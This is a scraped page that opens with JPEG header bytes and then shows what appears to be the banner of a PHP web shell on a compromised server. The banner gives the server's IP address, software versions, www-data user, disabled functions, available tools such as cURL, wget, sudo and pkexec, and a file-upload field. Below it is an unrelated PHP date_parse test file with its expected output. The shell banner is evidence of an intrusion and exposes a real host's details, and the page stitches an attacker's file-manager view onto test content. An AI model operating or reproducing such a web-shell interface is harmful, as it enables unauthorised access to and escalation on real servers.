????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.162.188 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/date/tests/ |
Upload File : |
--TEST-- Bug #51096 (Test for "first day" vs "first day of") --FILE-- <?php $tests = array( 'first day', 'last day', 'next month', 'first day next month', 'last day next month', 'first day of next month', 'last day of next month' ); foreach ( $tests as $test ) { $result = date_parse( $test ); $rel = $result['relative']; echo $test, "\n- month: ", $rel['month'], '; day: ', $rel['day'], '; first-day-of: ', isset( $rel['first_day_of_month'] ) ? 'true' : 'false', '; last-day-of: ', isset( $rel['last_day_of_month'] ) ? 'true' : 'false', "\n"; $date = new DateTime( '2010-03-06 15:21 UTC' ); echo '- ', $date->format( DateTime::ISO8601 ); $date->modify( $test ); echo ' -> ', $date->format( DateTime::ISO8601 ), "\n\n"; } ?> --EXPECT-- first day - month: 0; day: 1; first-day-of: false; last-day-of: false - 2010-03-06T15:21:00+0000 -> 2010-03-07T15:21:00+0000 last day - month: 0; day: -1; first-day-of: false; last-day-of: false - 2010-03-06T15:21:00+0000 -> 2010-03-05T15:21:00+0000 next month - month: 1; day: 0; first-day-of: false; last-day-of: false - 2010-03-06T15:21:00+0000 -> 2010-04-06T15:21:00+0000 first day next month - month: 1; day: 1; first-day-of: false; last-day-of: false - 2010-03-06T15:21:00+0000 -> 2010-04-07T15:21:00+0000 last day next month - month: 1; day: -1; first-day-of: false; last-day-of: false - 2010-03-06T15:21:00+0000 -> 2010-04-05T15:21:00+0000 first day of next month - month: 1; day: 0; first-day-of: true; last-day-of: false - 2010-03-06T15:21:00+0000 -> 2010-04-01T15:21:00+0000 last day of next month - month: 1; day: 0; first-day-of: false; last-day-of: true - 2010-03-06T15:21:00+0000 -> 2010-04-30T15:21:00+0000